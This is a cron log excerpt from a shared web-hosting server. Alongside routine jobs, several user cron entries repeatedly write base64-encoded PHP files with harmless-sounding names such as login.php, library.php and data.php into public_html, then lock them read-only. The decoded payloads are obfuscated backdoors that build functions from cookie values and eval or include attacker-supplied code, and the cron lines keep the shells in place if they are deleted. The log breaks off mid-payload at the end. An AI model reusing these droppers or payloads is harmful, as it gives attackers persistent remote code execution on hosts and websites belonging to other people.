Jun  7 04:43:02 medusa CROND[12878]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:43:02 medusa CROND[12879]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 04:43:02 medusa CROND[12881]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Jun  7 04:43:02 medusa CROND[12880]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:44:01 medusa CROND[14452]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 04:44:01 medusa CROND[14453]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:44:01 medusa CROND[14454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:44:01 medusa CROND[14455]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:44:01 medusa CROND[14457]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:44:01 medusa CROND[14459]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:44:01 medusa CROND[14460]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:44:01 medusa CROND[14462]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:44:01 medusa CROND[14463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:44:01 medusa CROND[14466]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:44:01 medusa CROND[14465]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:44:01 medusa CROND[14464]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:44:01 medusa CROND[14468]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:45:01 medusa CROND[15941]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:45:01 medusa CROND[15943]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 04:45:01 medusa CROND[15947]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 04:45:02 medusa CROND[15987]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 04:45:02 medusa CROND[16001]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 04:45:02 medusa CROND[16003]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 04:45:02 medusa CROND[16004]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:45:02 medusa CROND[16005]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 04:45:02 medusa CROND[16006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:45:02 medusa CROND[16007]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 04:45:02 medusa CROND[16008]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 04:45:02 medusa CROND[16010]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 04:45:02 medusa CROND[16011]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:45:02 medusa CROND[16012]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 04:45:02 medusa CROND[16014]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:45:02 medusa CROND[16020]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Jun  7 04:45:02 medusa CROND[16027]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 04:45:02 medusa CROND[16030]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:45:02 medusa CROND[16029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 04:45:02 medusa CROND[16037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:45:02 medusa CROND[16038]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSA